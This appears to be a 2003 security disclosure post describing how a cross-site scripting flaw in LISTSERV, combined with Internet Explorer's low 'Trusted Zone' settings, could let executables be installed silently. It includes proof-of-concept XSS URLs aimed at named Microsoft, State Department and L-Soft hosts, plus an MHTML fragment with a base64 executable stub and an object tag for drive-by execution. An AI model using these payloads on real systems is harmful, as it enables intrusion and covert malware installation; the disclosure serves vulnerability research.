Friday, December 26, 2003

Technical 'silent delivery and installation of an executable on a 
target computer. No client input other than viewing and web site'.  
This may be achieved with the Internet Explorer series of so-
called "browsers", all security settings set to HIGH !

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Not so simple:

The current trend is to dismiss, pooh pooh, the never-ending ongoing 
[almost daily] discoveries of vulnerabilities in the Internet 
Explorer series of browsers. So much so there remains in the account 
a balance of several full and complete remote compromises [courtesy 
of:  Liu Die Yu 
http://www.safecenter.net/UMBRELLAWEBV4/DirSvc/security/originality/m
icrosoft_ie/index.html] summarily dismissed as "well the internet is 
a big bad place, don't surf to unknown sites, and sites you do know 
and trust, place in the Trusted Zone. You'll be fine. 'Trust Us !"".

Oh. Okay:

The so-called "Trusted Site" zone setting in the Internet Explorer 
series of browsers, is set to LOW on default [screenshot: 
http://www.malware.com/trustus.png 28KB]. What that means 
is 'minimal safeguards and prompts are provided...most content is 
downloaded and run without prompts'. So who do [can] we trust?

For example, we input into the so-called Trusted Zone, the 
manufacturer commonly known as Microsoft Dot Com [screenshot: 
http://www.malware.com/havefaith.png 15KB]. In fact this peculiar 
method and remedy of participating in the World Wide Web is 
recommended by the brains behind the the manufacturer commonly known 
as Microsoft Dot Com.

Now what:

There is a small yet critical bug in the mailing list software 
called LISTSERV from http://www.lsoft.com/.  A trivial yet important 
ability to effect the common so-called 'cross site scripting' [see: 
http://www.cert.org/advisories/CA-2000-02.html] 'malicious html tag 
embedding in client web requests':

Microsoft.com uses the mailing list software called LISTSERV. So do 
some 300,000 combined public and local others [Note: These numbers 
do not include Intranet servers]. Banks. Governments. Schools etc  
[see: http://www.lsoft.com/customer/clientlist.asp].

So:

So what that means is if we 'trust' our government, or trust our 
bank or our school or even our software 'manufacturer', we are 
advised to place everyone else in the 'restricted zone' and our 
trusted sites in the 'trusted zone' where:  'minimal safeguards and 
prompts are provided...most content is downloaded and run without 
prompts'.

Example:

http://discuss.microsoft.com/SCRIPTS/WA-MSD.EXE?A0=<IMG%
20SRC=javascript:document['write'](location)>&T=malware is in the 
zone<object>

http://lists.state.gov/SCRIPTS/WA-USIAINFO.EXE?
A1=<img>ind0312d&L=dosback

http://demo.lsoft.com/Scripts/wa-demo.exe?A1=ind9807&L=demo<img>

What that means is we can install via 
<object classid="" codebase=""> any executable file from within the 
same domain as we see fit. The same domain in the so-called 'Trusted 
Site' zone that is.  Be it *.gov. *.microsoft.com, *.edu et cetera.

Technically our codebase cannot point to a remote site outside the 
zone as it will be cached in the Temporary Internet File [TIF] and 
will prompt for install as that remote site is in the Internet Zone. 
However, theoretically we can play havoc within our *.gov and .edu 
domains on one another.  More importantly, we might very well be 
able to write our entire Self-Executing HTML file into all of these 
domains:

MIME-Version: 1.0
Content-Location:fi le:///m alware.exe
Content-Transfer-Encoding: base64

TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+
zBqcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB5AAA
AngAAAAAAAAAAAAAAAAA=/www.malware.com/ /
<o bjec t CLAS SID="CLSID:5 5 5 5 5 5 5 5 - 5 5 5 5" 
code base="mhtml:'+path+'">

In which case the entire package will cached in the TIF under the 
disguise of a so-called 'TRUSTED ZONE' !

Don't trust us. Trust them.

[***less than premium advertising space: your ad here for a nominal 
monthly fee contact sales@malware.com***]

Happy New Year and be safe out there. It's not what it all seems.


End Call


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